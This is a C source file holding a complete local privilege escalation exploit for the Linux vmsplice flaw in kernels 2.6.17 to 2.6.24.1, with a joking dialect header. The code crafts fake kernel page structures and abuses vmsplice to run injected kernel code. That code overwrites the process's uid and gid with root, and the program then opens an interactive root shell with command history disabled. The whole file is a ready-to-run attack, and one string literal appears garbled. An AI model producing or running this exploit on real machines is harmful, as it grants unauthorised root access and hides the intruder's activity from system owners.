/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * This is quite old code and I had to rewrite it to even compile.
 * It should work well, but I don't remeber original intent of all
 * the code, so I'm not 100% sure about it. You've been warned ;)
 * 
 * -static -Wno-format  
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint  unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)

struct page {
 unsigned long flags;
 int count;
 int mapcount;
 unsigned long private;
 void *mapping;
 unsigned long index;
 struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
 printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
 fflush(stdout);
 fflush(stderr);
 exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define USER_CS  0x73
#define USER_SS  0x7b
#define USER_FL  0x246

static_inline
void exit_kernel()
{
 __asm__ __volatile__ (
 "movl %0, 0x10(%%esp) ;"
 "movl %1, 0x0c(%%esp) ;"
 "movl %2, 0x08(%%esp) ;"
 "movl %3, 0x04(%%esp) ;"
 "movl %4, 0x00(%%esp) ;"
 "iret"
 : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
     "i" (USER_CS), "r" (exit_code)
 );
}

static_inline
void * get_current()
{
 unsigned long curr;
 __asm__ __volatile__ (
 "movl %%esp, %%eax ;"
 "andl %1, %%eax ;"
 "movl (%%eax), %0"
 : "=r" (curr)
 : "i" (~8191)
 );
 return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS  0x23
#define USER_SS  0x2b
#define USER_FL  0x246

static_inline
void exit_kernel()
{
 __asm__ __volatile__ (
 "swapgs ;"
 "movq %0, 0x20(%%rsp) ;"
 "movq %1, 0x18(%%rsp) ;"
 "movq %2, 0x10(%%rsp) ;"
 "movq %3, 0x08(%%rsp) ;"
 "movq %4, 0x00(%%rsp) ;"
 "iretq"
 : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
     "i" (USER_CS), "r" (exit_code)
 );
}

static_inline
void * get_current()
{
 unsigned long curr;
 __asm__ __volatile__ (
 "movq %%gs:(0), %0"
 : "=r" (curr)
 );
 return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
 long, _vmsplice,
 int, fd,
 struct iovec *, iov,
 unsigned long, nr_segs,
 unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
 int i;
 uint *p = get_current();

 for (i = 0; i < 1024-13; i++) {
  if (p[0] == uid && p[1] == uid &&
      p[2] == uid && p[3] == uid &&
      p[4] == gid && p[5] == gid &&
      p[6] == gid && p[7] == gid) {
   p[0] = p[1] = p[2] = p[3] = 0;
   p[4] = p[5] = p[6] = p[7] = 0;
   p = (uint *) ((char *)(p + 8) + sizeof(void *));
   p[0] = p[1] = p[2] = ~0;
   break;
  }
  p++;
 } 

 exit_kernel();
}

void exit_code()
{
 if (getuid() != 0)
  die("wtf", 0);

 printf("[+] root\n");
 putenv("HISTFILE=/dev/null");
 execl("/bin/bash", "bash", "-i", NULL);
 die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
 int  pi[2];
 size_t  map_size;
 char *  map_addr;
 struct iovec iov;
 struct page * pages[5];

 uid = getuid();
 gid = getgid();
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);

 printf("-----------------------------------\n");
 printf(" Linux vmsplice Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("-----------------------------------\n");

 if (!uid || !gid)
  die("!@#___FCKpd___0quot;, 0);

 /*****/
 pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
 pages[1] = pages[0] + 1;

 map_size = PAGE_SIZE;
 map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                 MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 if (map_addr == MAP_FAILED)
  die("mmap", errno);

 memset(map_addr, 0, map_size);
 printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 printf("[+] page: 0x%lx\n", pages[0]);
 printf("[+] page: 0x%lx\n", pages[1]);

 pages[0]->flags    = 1 << PG_compound;
 pages[0]->private  = (unsigned long) pages[0];
 pages[0]->count    = 1;
 pages[1]->lru.next = (long) kernel_code;

 /*****/
 pages[2] = *(void **) pages[0];
 pages[3] = pages[2] + 1;

 map_size = PAGE_SIZE;
 map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                 MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 if (map_addr == MAP_FAILED)
  die("mmap", errno);

 memset(map_addr, 0, map_size);
 printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 printf("[+] page: 0x%lx\n", pages[2]);
 printf("[+] page: 0x%lx\n", pages[3]);

 pages[2]->flags    = 1 << PG_compound;
 pages[2]->private  = (unsigned long) pages[2];
 pages[2]->count    = 1;
 pages[3]->lru.next = (long) kernel_code;

 /*****/
 pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
 map_size = PAGE_SIZE;
 map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                 MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 if (map_addr == MAP_FAILED)
  die("mmap", errno);
 memset(map_addr, 0, map_size);
 printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 printf("[+] page: 0x%lx\n", pages[4]);

 /*****/
 map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
 map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 if (map_addr == MAP_FAILED)
  die("mmap", errno);

 memset(map_addr, 0, map_size);
 printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

 /*****/
 map_size -= 2 * PAGE_SIZE;
 if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
  die("munmap", errno);

 /*****/
 if (pipe(pi) < 0) die("pipe", errno);
 close(pi[0]);

 iov.iov_base = map_addr;
 iov.iov_len  = ULONG_MAX;

 signal(SIGPIPE, exit_code);
 _vmsplice(pi[1], &iov, 1, 0);
 die("vmsplice", errno);
 return 0;
}